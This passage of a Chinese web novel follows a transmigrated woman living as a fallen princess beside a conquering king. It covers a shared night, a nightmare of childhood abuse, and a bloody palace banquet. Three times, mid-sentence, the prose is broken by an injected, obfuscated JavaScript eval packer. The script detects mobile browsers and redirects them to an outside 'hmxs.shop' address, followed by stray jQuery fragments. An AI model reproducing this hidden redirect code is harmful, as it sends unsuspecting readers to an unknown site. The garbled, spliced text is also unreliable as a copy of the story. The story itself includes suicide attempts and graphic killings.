这段日子,柳忆春要么在受伤,要么在睡觉,无论她在一旁怎么叽叽喳喳,她都很少搭话。 今日主动问起大军动向,倒是少见。 反正也不是秘密,卫大娘与她直言,“王上不会在此久留,过些日子,将携大军南下,回洛都去。” “届时,我王将问鼎天下。” 柳忆春惊呆了,她还以为旧朝皇室被屠杀殆尽便是王朝更迭的终点,没想到,他并不打算在这里称帝? 真是会折腾。 还有,这些日子他不停拉着她爬山、锻炼,难道是想让她有体力跟在出征的大军里一起? 这位王上不会疯了吧? 卫大娘在话音刚落时便察觉自己失言,在前朝公主面前说新朝称帝的事,不是戳人家心窝子吗? 瞥见柳忆春怔愣的表情,她的心里更是惶恐,立马朝她跪了下去。 “柳夫人,属下失言,还请您恕罪!” 柳忆春被她突如其来的动作一惊,瞬间回过神来。 “您快起来,怎么了?” 见柳忆春神情自然,一副毫不在意的样子,卫大娘心里一松。与银画对视一眼,她迟疑地站了起来,小心翼翼地看向她。 “多谢夫人宽宏大量......” 柳忆春不甚在意地摆摆手,拿起勺子继续喝粥,却忽地听见外面一阵喧哗。 “您可知外面发生了何事?” 说起这个,卫大娘的注意力瞬间被转移,眼里也迸发出一种类似自豪的光彩,笑容一不留神就溜了出来。 “前些日子尉迟将军率军攻打幽州城,今日这是凯旋归来了!” 柳忆春很是惊讶,“这么快?” 她记得上次在山上遭遇刺杀时,沈雍吩咐了当时来支援的那位将军去打幽州,这才半个多月吧,就打完回来了? 卫大娘笑意更甚,“幽州毗邻京师,快马不过一日的功夫便可抵达。尉迟将军兵力强大,绝非幽州王能比,这番速战速决,也算合情合理。” 啧啧啧,天底下果然没有不以孩子为荣的父母,瞧她嘴角,都快翘到天上去了。 柳忆春也不禁笑了起来。 “如此,卫大娘快去迎接将军吧,想必尉迟将军在这种时候也希望有亲人在场呢。” 卫大娘有点不好意思,却没有推脱,笑着接受了她的提议。 “多谢柳夫人!” 卫大娘掀帘而出,柳忆春透过迅速合拢的间隙看见了远方红火的夕阳。 一整天竟就这样耗过去了。 久违地,柳忆春突然生出了一股时间混乱的恍惚之感。 帐内只余柳忆春和银画,一片寂静。 她偏头看向立在一旁的银画,“今日你为何这般缄默?昨日的话可不少。” 虽然她能听出来那都是她勉强地、刻意地在套她的话。 这位奴婢,并不算心思活泛的人。 银画上前跪下回话,背脊弯曲的弧度恰到好处,像一个被精心训练的人偶。 “回公主,从前您素来喜静,奴婢们都尽量不出声打搅,昨日乍见公主,是奴婢坏了规矩。” 竟还在拙劣地提起“从前”来试探她,柳忆春忽然起了兴趣。 “为什么你还叫我公主,没听见他们都叫我柳夫人吗?” 银画一惊,想起今日也在沈雍面前如此称呼,一时惶恐,连忙朝她磕头。 “奴婢失言,一时没有改过来往日的习惯,还请柳夫人责罚。” 近来倒是没有注意过别人是否老朝她磕头,但是银画 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16562489|186451||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这作风真叫她不习惯。 柳忆春面色沉了下来,“起来。” 银画不敢多嘴,依言站了起来。 柳忆春又状似随意地问她:“从前只你一人服侍我?” “回柳夫人,从前奴婢同金罗一同贴身服侍您,此外还有些外间伺候的宫女太监。” “他们呢?” “金罗在叛......王上破城入宫时便被杀了,奴婢侥幸逃了出去,其余人便无从知晓了。” 柳忆春忽地轻笑一声,“你们从前都听命于我吗?” 银画见状又要跪,却被柳忆春一个眼神止住。 想起什么,银画的声音虚了些,“自是如此,柳夫人何出此言?” 柳忆春懒散地斜靠在桌案上,平静的眼神中带了些若有似无的玩味。 “那......国破那日,你为什么丢下我自己跑了?” 非常平静的一句话,甚至不像个问句,银画却再也控制不住浑身的颤抖,腿一软直接跪了下去。 “公,柳夫人饶命,奴婢......当日是您赶我走的!” 柳忆春沉默地看着眼前惶恐的银画,心想权力可真是个好东西,随随便便几句话,便能随意挑拨下位者的情绪。 可她其实并不是想兴师问罪,只是今天不知为何总觉得与这世界隔了一层,突然想和这个伺候了公主六年的奴婢聊聊天。 下意识地,柳忆春再次将右手伸向左肩。 “你觉得我变了吗?” 银画低着头,声音不稳,“您......” 柳忆春:“看着我回答。” 银画怯生生抬起头,与柳忆春古井无波的目光直视,好半晌才找回自己的声音。 “变了,又好像没变。公主还是从前的公主,但从前的公主,不会与奴婢说这么多话,也不会这般寻死......” 柳忆春没再说什么,挥挥手让她退下。 银画目光扫过她颈间的勒痕,迟疑了一瞬,“奴婢就在一旁候着,您有需要随时吩咐。” 柳忆春轻笑了一声,不置可否。 晚间,帐外的喧闹声消停了些,柳忆春洗漱完毕正准备入睡,银画竟破天荒地提醒她要不再等等。 柳忆春心里正奇怪着,突然有一道脚步声不打招呼就闯了进来。 能如此随心所欲的,除了沈雍没有别人。 “起来,随我走。” 柳忆春:“?” 她看向银画,却见她站在原地一动不动,没敢看她。 空气里有淡淡的酒香,与醪糟的味道有些像,想来这个时代还没有蒸馏酒技术。 米酒也能把人喝醉? 柳忆春把视线转向沈雍,只见他没什么表情,直接上前来一手拉她右腕,一手抓起她的枕头。 “真是胆子肥了。”居然敢不听他的吩咐。 柳忆春被他拉得踉跄,终于忍不住问:“去哪?” “去睡觉。” 二人行进的方向不是别处,正是沈雍的主帐,前段时间柳忆春在这里住过好几天。 柳忆春满头黑线,“谁想和你一起睡?” 沈雍回头看她,也许是因为尉迟丰打了个漂亮仗,眼睛亮亮的,像是终日不见天光的深渊中终于透入了阳光。 见她这幅不悦的样子,他竟破天荒地露出了个转瞬即逝的笑。 “这可由不得你。” 18. 噩梦 沈雍其实注意到了前些日子卫大娘越来越重的黑眼圈,想来只身一人无时无刻不提防一个想死的人,难免会神经紧绷、精力不济。 至少得有人换班才行。 方才的庆功宴结束后,他与范卢风聊了几句。 他说,若是一个人突然把自己假想成另一个人,很有可能是她十分厌恶曾经的生活,厌恶到想彻底逃离,就连记忆也恨不得一并抹去。 久而久之,她就真的“忘了”过去的一切,而对自己编造出来的新身份深信不疑。 他还说,这种时候,若是执着于让患者想起曾经的一切,不见得是件好事。 沈雍听后深感无力。 这个公主啊,不想一些好的,怎么偏偏把自己幻想成了一个想死的人? 今日之事实在令人后怕,若不是他反应够快,她恐怕已经变成崖底的一滩烂肉;而若不是范卢风来得及时,她也许真能在他们眼皮子底下将自己吊死。 一次又一次被挑衅,当真是,奇耻大辱。 既然她如此防不胜防,那么他不介意亲自上阵。 他倒要看看,她还能搞出什么花样来。 沈雍拿过麻绳将她双手紧紧绑在床头,兀自向角落的屏风后走去。 不一会儿,那里便传来哗啦水声。 柳忆春乖乖坐在原地,一脸无语地看着自己被绑住的手腕。 可真行,去洗漱都这样防着她...... 她有这么可怕吗? 很快,沈雍松垮穿着中衣出来,身上带着水汽,手上拿着一团湿漉漉的东西,像是刚洗好的衣服。 柳忆春一脸惊奇地盯着他的动作,只见他朝这边走来,在床尾停了一会儿,便传来厚重的布料掀动声。 很快,沉稳的脚步声再次走近,他回来了。 顶着她好奇的目光,他快速为她解开绳索。 手臂一扬,绳索被抛到远处,柳忆春则直接被他拉上床榻。 “睡觉。” 说是睡觉,但沈雍喝了些酒,又才洗了澡,精神好得很。 柳忆春倒是完美发挥了自己得过且过的体质,躺在他的身侧倒是闲适。 而且,床榻上全是他的味道,她很喜欢。 深呼吸几次,她的身体随之放松,连带着白天那股莫名其妙的抽离感都消退了不少。 然而,也许是因为白日里睡了太久,她也开始越躺越精神。 两个人就这么一块儿睁眼望着帐顶发呆。 比起柳忆春的放松,沈雍的身体却有些紧张。 他从未与女子这般睡在一个榻上,鼻尖萦绕的清香让他非常不适应。 该是从她发间传来的吧? 她的头发丝滑黑亮至极,散落下来,像一块上好的绣着暗纹的绸缎。 全天下大概只有尊贵的天家才能养出连头发丝都这样精致的人来。 躺下时,她的发丝均匀地在周身铺散开来,俨然成了这方小天地间一块巨大的留香石。 柔香丝丝缕缕浸入肺腑,沈雍任由思绪胡乱漂浮着。 没一会儿,身侧的人忽然坐起,开始解衣服。 沈雍偏头看她,目光沉沉。 “你干什么?” 她侧目回望,手上的动作却没有停,纤细流畅的曲线毕现,又很快被长发掩盖。 沈雍有些受不了她的清浅眸子,喉结忍不住吞咽一下。 “穿着外衣盖被子,你不热吗?” 看他一眼,她又了然,“哦,你好像没穿外衣。” 沈雍:“......” 孤男寡女,她就一点都不怕他对她做什么? 为防她作乱,他将她安置在里侧,于是她此刻有些踌躇地看向他,像是犹豫要不要跨过他去挂衣服。 幽暗的帘帐中,二人的目光对视片刻,沈雍不着痕迹地叹一口气,认命地拿过她手中的衣物翻身下榻。 再回来时,柳忆春已重新躺好。 二人再次共卧。 柳忆春虽然不怎么困,但是她一直向往那种能坐着就不站着,能躺着就不坐着的生活,因此就这么睁眼躺着也能自得其乐。 小插曲过后,沈雍听着耳旁轻柔沉缓的呼吸声,渐渐地也放松下来。 “不日大军将要南下,后日将在宫中宴请百官,你可想回宫看看?” 柳忆春动了动,将手臂拿到被子外面。 “不想。” 这么干脆利落? 沈雍轻笑一声,“由不得你。” 她忽地翻身侧躺,正面对着他,语气中尽是不悦,“那你问我干嘛?” 沈雍勾着嘴角不答。 没趣。 柳忆春轻嗤一声,忽地问他:“你喜欢露营吗?” 这里非常原生态,没有汽车呼啸而过,也没有大片光污染,万籁俱寂的夜晚,耳畔传来的是独属于田野的白噪音,更不用担心睡得正香楼上传来装修的电钻声。 正因为此,这些日子她都睡得极好。 但在野外扎帐篷也有明显的缺点,虽然在四周撒了药,但还是难免会有虫子爬进帐篷,她每次见了都头皮发麻。 而且,这里的生活设施实在不如正儿八经的房子方便,在这里洗个澡洗个头发,每次都要费老大劲。 沈雍没太理解,“何出此问?” 柳忆春解释道:“直接住皇宫,不比在这里舒服方便吗?” 沈雍认真回答:“越帝的皇宫不是我的归宿,更何况,我也习惯了与士兵们待在一起。” 柳忆春有些讶然,打量他的眼神带了些认真,“你好像,没有那种高高在上的傲慢。” 听见她对自己煞有介事的点评,沈雍不禁失笑,“你的关注点,似乎总是与常人不同。” 柳忆春:“那常人关注什么?” 沈雍:“他们都说,我治军过于严苛,总是待在军营里盯着他们。” 柳忆春:“如何严苛?” 沈雍耐着性子,“不过是些寻常规矩罢了,要说有什么不同的,大概是不设营妓,内务自担吧。” “你也和他们一样吗?” “嗯,主帅与三军同律。” 柳忆春瞪大了眼睛,又问:“那我呢?你要是把我一道带走,算不算违反军令?” 沈雍动了动,抬手枕在脑后,“你把自己当什么?” 柳忆春歪歪头,“你的战利品?在大家眼中,我不就是你的女人吗?” 饶是事实,从她口中直接听到“他的女人”这种字眼,还是没来由让他心跳漏了一拍。 她又说:“全军上下只有你身边有女人,这难道不是‘只许州官放火,不许百姓点灯’吗?” 沈雍听她一脸认真地计较这些,忽地笑了。 “那你想如何?” 柳忆春眨眨眼睛,没有回答,意思却很明显。 沈雍伸手捂她的眼,“做梦。” 啧,没意思。 闲聊宣告结束。 柳忆春不由分拉下他覆在自己眼睛上的手,紧紧抱上他的手臂,又顶着他像要吃人的目光,凑近他的颈窝猛吸两口,最后心满意足地躺在他身侧彻底闭上了眼睛。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16582566|186451||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “......” 沈雍浑身紧绷,被她这番动作激起了一身鸡皮疙瘩。 她这种行为与登徒子有何异! 但他看向她乖巧精致的面庞时,提起的一口气又卸了下去。 罢了,来日定要教她改掉这个坏习惯。 堂堂公主,怎能像狸奴一般乱嗅?他当年在边关养的那只乌云踏雪也没她这么放肆。 身侧的呼吸渐渐平稳,沈雍也阖上了双眼。 可睁眼时不觉得,闭目之后左臂的触感却愈发清晰起来,像被一团柔软细腻的云朵包裹着。 他的身体越来越僵硬,睡意全消。 无法,为了避免睁眼到天明,他将手臂轻轻挣出,未免她再作乱,又一手握住她的两个手腕紧紧固定在身侧。 离了那团叫人心猿意马的柔软,不多时,沈雍终于睡去。 - 柳忆春许久没有经历过这样的时刻了。 身上很痛,自己却完全不能动。 她这是又考差了? 这是考得多差啊,他们这次好像格外生气,除了按着她打,居然还往她脸上蒙了东西。 他们以前可顶多只会捂住她的嘴不让她出声。 空气越来越稀薄,她喘不过气来。 她想呼救,却牢记不能出声,她想挣开,但早已习惯不做挣扎。 疼痛与窒息于是只化作几声压抑的呜咽。 意识模糊间,她忍不住想,这次,是不是就该死掉了? 他们予她生,她是愿意死在他们手里的。 不料,身上的桎梏一松,她突然能活动了,耳畔也有人轻声说着什么,她有些奇怪,今天他们怎么没抱着她嚎啕大哭? 身体被大力摇晃,像被放进了一条小船,风浪大得很,打得她的脸直痛。 柳忆春终于受不了了,打定主意要从这条船上离开,却在动作的下一秒直直对上了一双浸透担忧的深邃眼睛。 “醒了?” 沈雍深深望着她,脸色晦暗不明。 耳畔有急促的呼吸,柳忆春反应了好一会儿才发现这来自她自己。 温暖干燥的大掌抚过她的脸颊,带走一阵潮湿。 她想,梦里的风浪原来还能被带到现实来。 身侧的人迅速起身,不多时便带了一条湿润的巾帕回来。 冰凉的触感从额上蔓延到颈侧,柳忆春终于清醒了些。 她问:“怎么了?” 白日里留下的那道狰狞勒痕还在她颈间,她的嗓音沉沉,像是被砂纸摩擦过,配上她冷到极点的语调,没来由在沈雍心上狠狠一击。 “痛吗?”他的声音很轻。 她眨眼,再次滑下两行泪来,眼里却泛滥着不解。 “痛,吗?”她愣愣地学他说话。 沈雍长长呼出一口气,湿帕再次拂过她的脸颊,又起身去一旁的矮柜拿出药膏。 “晚上是不是还没上药?” 柳忆春撑起身子,看向他的目光有些空茫,愈发像误入人间不解凡尘的仙子。 他细细为她脖颈抹药,又伸手去解她腰带,她却只是望着他,任他动作。 露出那片受伤的肩头,沈雍搓热了大掌轻轻为她揉按上药。 直到他做完一切,重新为她系好腰带,她仍在用那种眼神轻轻圈住他。 沈雍放好药膏,重新放下床帘,将她揽入怀中。 “睡吧。” 似是终于回神一般,柳忆春轻轻嗯一声,状似眷恋地在他胸前蹭了蹭。 “我喜欢你身上的味道。” 19. 宫宴 此后,每到晚上沈雍就会接替银画执行看住柳忆春的任务,白日里也勒令银画不准让柳忆春离开旁人的视线。 这样下来,银画总算没有和之前一个人看守柳忆春的卫大娘一样日渐憔悴下去。 柳忆春对于他们摆出的这种架势只是无所谓地笑笑,没事的时候就去伙食营晃悠,玩累了便毫不避讳地四处寻找沈雍。 无论是看到卫大娘紧张得不得了还要强行挤出笑脸暗示她不要乱动,还是在一旁等待沈雍接收到军中众人隐晦但八卦的目光时,她都觉得好玩极了。 就这样,白天无所事事、随心所欲,晚上窝在味道很好闻的沈雍怀里睡觉,她感觉那团莫名其妙困住她的雾气又消散了些,身体在慢慢重新被灵魂掌控。 转眼间就到了宫宴的日子。 这日,沈雍早早就回到了主帐,简单拾掇了一下后,往西南角的小帐走去。 银画正在为柳忆春装扮。 乌发高挽,翠翘横飞,匀红点翠。 这些日子来素净着的一张脸经过妆点后,锦绣堆里养出的雍容与淡淡的疏离感结合在一起,愈发显得遗世独立、高不可攀。 见者被她深深吸引,却又唯恐亵渎了她,只觉远远观之已是受了莫大恩惠。 听见动静,柳忆春侧眸回望,沈雍便被这幅美貌迎面冲击。 他不由得想到了五年前的宫宴。 那时的她稍显稚嫩,却已是风华绝代,而今,含苞待放的玉兰已完全舒展开来,更显玉骨仙姿。 不愧是名扬天下的大越第一美人懿春公主。 柳忆春发现了他一瞬的愣神,朝他弯眸一笑。 “我这么美吗?” 说着,她不顾沈雍瞬间紧皱的眉头,环顾周身寻找镜子。 “怎么这里还是连个镜子都没有啊。银画,真是难为你了。” 银画浅浅抿唇,“公主说笑了。” 眼见着装扮已全部完成,银画小步退到一旁侍立。 柳忆春也终于找到了一个面前可以照见自己的东西——水盆。 说来有些好笑,她来到这里已经两个多月了,但还不知道自己现在长什么样子,只从周围人对自己的态度推测,她现在应该长得还不赖。 扒在水盆边,静待水面涟漪消散后,一张芙蓉面便出现在柳忆春眼前。 和她原本的样子有些像,不过整一个都是高配版,弯眉琼鼻,杏眼樱唇,眼睛下面完全没有眼袋和黑眼圈,就连皮肤也细腻很多。 果然还得是气色养人啊,差不多的五官,在熬夜外卖缺乏运动的摧残下,她的脸色总是很差,嘴唇也总没有血色,每次照镜子乍一看都像个没有精气神的女鬼。 现在这张脸嘛,柳忆春没什么文学素养,只能说一句“牛哔”。 “原来我这么好看啊......” 左右端详一下,柳忆春又叹,“银画,你的化妆技术也太棒了吧!” 银画在一旁没忍住弯了弯唇,对于柳忆春突如其来的直白夸赞愣愣地不知该作何反应。 倒是沈雍实在看不下去了,嗤笑一声,大步走到她身边敲了敲水盆,水面上的绝世容貌一下子便随着水波散了。 柳忆春猛然抬头看他,眼里全是不满。 沈雍轻轻摇头,哪有人这么夸自己的?没见过这么没脸没皮的。 他偏头吩咐,带了些笑意,“银画,出发。” “是!” 沈雍率先走出营帐,银画则扶着柳忆春紧跟在后面。 柳忆春忽然发现,懿春公主好像也比她高一些,她低头看路的视角和以前有些不同。 在现代她有一六五,那公主应该有一米七? 往前看去,沈雍的背影伟岸,她的视线大约与他的肩膀平齐。 看来这位王上个子也不矮。 柳忆春正神游天外,面前忽然多出了一只大手。 原来二人已不知不觉走到了车架前面,沈雍已率先上去了。 她没有立马伸手搭上去,而是抬头看向他。 沈雍被她看得有些不自在,正想收回手,柳忆春却赶在他收手前将手放入他的掌中。 温暖干燥的大掌轻轻一拉,柳忆春便顺着力道上了车架。 银画则在后侧仔细帮她提起裙摆,确保她稳稳落座后,回到了车架侧面,静待出发。 柳忆春看着二人交握的手,不由感叹,果然长得高的人手也很大。 似是察觉到了她的视线,落座后沈雍很快便嫌弃地放开了她的手,转而目不斜视地望着前方。 倒是柳忆春盯着自己被轻轻甩开的手,不由在心里轻嗤一声,闷骚男,装货。 今日赴宴,军中大将尉迟丰亲自驾马,并有看得见的数百精锐随行,以及护在暗处的不知多少士兵。 天色渐沉,夕阳正向人间挥洒最后一丝余晖,昔日辉煌的皇宫正门,却像一只巨兽的深渊大口。 沈雍破城时斩下的皇室头颅依然挂在城墙上。 随着将近两月的风吹日晒,那一颗颗球状物早已辨不出面目,只有微风吹下的一阵阵恶臭提醒着路过此处的每一个人,旧朝已与这些人头一同腐朽。 沈雍的车架行过宫门,驶入长长的、幽暗的宫道。 柳忆春一直看着前方,没什么表情,闻到明显的臭味也没有抬头看那些兄弟一眼。 车架一直行驶到举办宫宴的大殿正门才停下。 柳忆春与沈雍一同步入大殿时,空旷的殿内几乎座无虚席。 百官早已在此恭候。 柳忆春能察觉到,她与沈雍出现在众人视线的那一刻,殿内气氛立马发生了变化。 一股难言的紧绷感萦绕在空气中,百官起身恭迎,连大气都不敢出。 而他们的恐惧,皆来自于她身侧的这个男人。 柳忆春稍稍落后他半步,正随他一同往阶上最高的座位走去,此时不由得朝他看去。 只见他的表情淡漠极了,玄金暗纹锦服衬着他俊朗深邃的面容,愈发显得矜贵无双,阔步行走在躬身相迎的朝官之中,冷冽肃然的气场直叫人无法逼视。 这人冷脸还挺帅,柳忆春心想。 又走了几步,殿内的血腥气越来越浓。 柳忆春朝两侧打量去,才发现那些空缺的桌案并非没有来人,而是赫然放着一颗颗人头! 整个画面诡异而血腥。 好家伙,怕不是对方不肯来,他硬是把人“请”来了吧。 难怪所有人都一副瑟瑟发抖的样子。 行至阶陛之上落座,沈雍轻轻扫过她一眼,似乎对她的冷静暗含赞许。 尉迟丰与银画则分别侍立沈雍与她的身侧。 柳忆春不明白他为什么非要带她来这个宫宴,打算先坐下来看看戏。 “今日宴饮,诸位大人不必拘束,都落座吧。” 他闲适的声音回响在偌大的殿内,竟有些微回响。 众人闻声齐答:“多谢王上。” 一阵窸窸窣窣的声音过去,众人皆落座。 坐是坐下了,却没人敢动筷子,尤其是坐在人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16586790|186451||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 头旁边的官员,没有惶恐至殿前失仪已经耗尽了全部力气。 此时,左侧首排的桌案前却仍立着一位发须泛白的老者,背脊挺直,看起来毫无落座之意。 柳忆春的目光被他吸引过去。 果然,他开始表演了。 “王上?叛臣沈雍,何时成了王上!” 老者义愤填膺,中气十足的声音回荡在殿内。 余下百官眼观鼻鼻观心,皆垂着头一言不发。 柳忆春悄悄看了一眼身侧的沈雍,却见他一脸淡定,并不生气,兴许还与她一样有些看热闹的心思。 “镇国公府绵延两百余年,几乎与大雍朝同寿,得了开国太宗之恩典,才保你沈家爵位永不削减,继承至今。” “可惜,竖子无德!五年前你沈家便做出那等谋逆犯上之事,圣上仁慈,留了你们一命,没想到你们非但不知感激,竟卷土重来!” “苍天有眼,如此不忠不义之徒,谋权篡位之孽,合该早日曝尸荒野,死无全尸!” 老者骂得极为痛快,但终究是老了,一口气骂下来胸膛剧烈起伏,正勉力昂首挺胸地瞪着沈雍。 殿内一片寂静,无人不屏声静气。 柳忆春听着,眉头却是渐渐皱了起来。 这是不是骂得太重了?感觉和网上那些无脑骂架没什么区别,完全就是人身攻击嘛。 她一直留意着身侧的沈雍。 他没什么动静,甚至表情坐姿都丝毫未变,但她感觉到了他气场的微妙变化。 他生气了。 恰在此时,有人朗声开口: “太傅大人此言差矣,您终日守着那旧朝皇室,囿于方寸之间,却不知皇城之外早已怨声载道、哀鸿遍野,百姓何辜?” “且不说镇国公府代代皆出栋梁之材,当年所谓的谋逆之案本就疑点重重,单只论近来王上的雷霆之政,百姓重获土地,城中也并未发生动荡,此等胸襟气魄与能力手段,难道不比那满脑子荒淫享乐之人更配得上一声‘王上’?” 殿中气氛一松,有人小声称是。 沈雍却仍是独坐高台,隔岸观火,饶有兴致地斟酒浅酌,甚至还给她夹菜。 柳忆春在他的带动下,不由得开始巡视桌案上的菜品。 很多道肉菜,还有一看就很新鲜的蔬菜,都是精心烹制过的,比军营里的吃食不知好上多少倍。 她好奇地一道一道尝过去,开始神游天外。 老者环视周身,往常簇拥在他身边的那些人如今皆已化作案上人头—— 没人再附和他说话了。 他忽地狂笑一声,“祖宗之法不可变!承天之脉不可夺!皇族乃天龙化身,那些贱民算什么?尔等小儿,口出狂言,藐视天威,逆天而行,必得诛之!” 说着,他又将矛头对向柳忆春。 “懿春公主不愧是我大越第一美人,国破家亡、亲族惨死,却可以靠着这副皮相委身叛臣,苟延残喘,为人子女的孝义何在?当年敢于检举逆贼的气节何在?” “若你还知耻知羞,合该以身殉国,而非夜夜枕在杀父灭国的仇人身边,让乱臣贼子玷污了去!” 骂她? 吃饱了撑的来骂她干什么? 所以这就是沈雍带她来的目的,找个人陪着他一起被骂? 唉...... 感受到无数道目光向她看来,就连沈雍也似笑非笑地瞥她一眼,柳忆春不紧不慢放下筷子,借着一口酒送下口中的食物,慢慢抬起头来。 那就开始表演吧。 20. 宠爱 柳忆春用力掐自己大腿一下,眼泪瞬间如决堤河水涌出眼眶。 端得是美人垂泪,我见犹怜。 开口时,啜泣的嗓音如泠泠溪水,仿佛为剑拔弩张的大殿之中吹入了一阵和缓轻风。 “太傅大人所言极是,在这狗贼身边,我日夜煎熬。可惜,我一个弱女子又如何能斗得过他?” “被他看得紧,连殉国都不能......我,我当真是无颜面见柳家先祖!” 说着,她将衣领拉了拉,露出藏在内里脖颈上的勒痕,又刻意抬起将将长出粉色新肉的左手腕。 殿中众人的目光都被她吸引过去,自然也都看见了她故意露出的痕迹。 美人受伤,如白瓷裂缝,叫人惋惜。 殿内立刻有轻微的抽气声。 柳忆春的声音拔高了些:“太傅大人辅佐大越,久经风雨,劳苦功高,威武不能屈,光复大越皇朝之重担,舍您其谁?” “既如此,今日适逢此宴,我愿舍弃此身血肉,为您的高义鸣鼓开道!” 她忽地起身,欲朝一侧百年楠木粗柱闷头撞去,却被沈雍一把拉回去,重重落回他的怀里。 紧接着,尉迟丰腰侧佩剑一松,沈雍已抽出长剑精准地朝那老太傅抛去。 噗嗤—— 一剑穿心,力透后背。 老太傅还未来得及说一句话便当场毙命,枯瘦的身子倒下,脸上的笑也随着生机消逝逐渐定格。 “啊——” 柳忆春慌乱地高呼,似是恐惧至极。 沈雍揽臂将她的头按进怀里,捂住她的眼,又状似缱绻地俯首轻轻蹭了蹭她松挽的发髻,淡漠的眼神却一直盯着地上那具尸体。 “敢怂恿本王的女人去死,该杀。” 老太傅倒在地上死不瞑目,大滩鲜血四下蔓延,殿内的血腥气更重了。 无人不噤若寒蝉,也同时不由得对阶陛上那位前朝公主高看一眼。 能让王上为她夹菜,还毫不留情对前朝老臣一刀毙命,想来她是极受宠爱的。 而这位懿春公主久居深宫,看起来也完全不通政事,太傅三两句话就哄住了,应当也极好拿捏。 想来,不失为这位冷血王上身边的一道极佳突破口。 胡峯官阶不大,座次在后排,遥遥看着台上自家外孙女与新王的一系列互动,心里一喜。 不止胡峯,殿内前朝官员混杂,另有人将此看在眼里,也不禁心思一动,妙计横生。 尉迟丰愣愣地抬手握住腰间空荡荡的剑鞘,抬眼朝侧前方二人相拥的身影看去。 王上高大魁梧,衬得怀中的公主愈发娇小。 而她......王上最初对她有敌意不假,可已过去将近两月,颈上怎么竟还有新鲜的勒痕? 母亲被王上从她身边遣回了伙食营,他就算想得知她的近况也无从旁敲侧击。 原来,她竟还是过得这般艰难吗? 尉迟丰握住剑鞘的手用了些力,终是垂下眼眸,目不斜视地伫立在他们身后。 “诸位大人可还有话要说,不如趁此机会都说与我听听?” 沈雍沉冷的声线在殿中回荡,如玉石相撞般击碎了周遭凝住的氛围。 有识时务者带头开口: “王上英明!臣等愿追随王上,效犬马之劳!” 紧接着,无论是真心折服还是假意奉承,殿内一众官员皆高声齐呼愿为沈雍效力。 柳忆春被他按在怀里,有些闷得慌,见他没有放手的意思,悄悄戳了一下他的腰腹。 沈雍浑身一僵,随即松开了她,却在她大腿上惩罚性地一拍。 动作隐蔽,除他二人,无人看见。 看着殿内俯首参拜的众人,沈雍依旧不辨喜怒,身子稍微前倾了些,扬声道: “诸位大人言重了,为官者,非为君也,而为民也。来日之太平盛世,少不得今日之英杰襄助。” “既尔等皆愿出力,此处龙脉已断,还请诸位随本王一同南下。” “三日后,同聚宣武门,本王将派出精锐护送诸位大人及亲眷前往洛都。” 沈雍故意停顿了一下,给他们时间互相交换眼神。 柳忆春已乖乖坐回远处,一边往嘴里塞肉菜,一边分出注意力去看身侧的沈雍。 只见他唇角已勾起胜券在握的微笑,语气和煦至极。 “诸位大人可有异议?” 在这顿血色弥漫的宫宴之中,强硬的反对派早已死绝,中间派也被老太傅的死震慑得不敢轻举妄动,更有些将旧朝的腐朽与沈雍的才能看在眼里的有识之士率先表态,最终的结果并不难猜。 “臣等谨遵王上御令!” 至此,沈雍彻底达成了今晚宴请的目的,举盏向众人朗声道: “沈某,敬诸位大人。” 众人纷纷举杯遥遥回敬。 “王上万岁!” 一杯酒下肚,沈雍不禁叹道:“前些日子有人联合幽州王刺杀本王,查到最后竟是些熟面孔。” “不过,今日既然是宴请百官,合该一视同仁才对,于是把他们也都请了过来,没想到倒是有些有碍观瞻了。” “还望诸位大人莫要嫌弃,敌人的鲜血不足为惧,莫要因此毁了相聚的雅兴才对。” 说罢,他终于动了落座以来的第一筷子。 堂下气氛也终于轻松了一点,“王上所言极是,臣等叩谢王上赐宴!” 一时间,堂下百官觥筹交错,倒是像模像样地如寻常宴饮一般互相交谈了。 堂中老太傅的尸体并未被拖走,身下溢出的血如同一面血色镜子映照出殿内种种情形,浑浊而狰狞的眼珠子却再透不进一丝光亮。 柳忆春没什么表情地吃着食物,在听百官恭维沈雍的间隙,总忍不住一眼又一眼地看他。 用现代的角度来看,这沈雍还颇有行为艺术家的风采,让大家在人头和尸体之间吃肉喝酒,也不知是怎么想出来的。 不过嘛,他这一番操作下来,绝大部分人应该都不敢搞幺蛾子了。 毕竟,惹了他的人,他可是真敢杀啊。 一场宫宴没多久便结束了,沈雍带着柳忆春先行出殿。 胡家的座次过于遥远,殿内的人也过于繁多,因此任凭胡峯如何想要与他的宝贝外孙女对上眼神,柳忆春都没有接收到一点信号。 此刻,眼见着沈雍与柳忆春一步步走来,离他越来越近,他忍不住悄悄抬头再次妄图让柳忆春看到他。 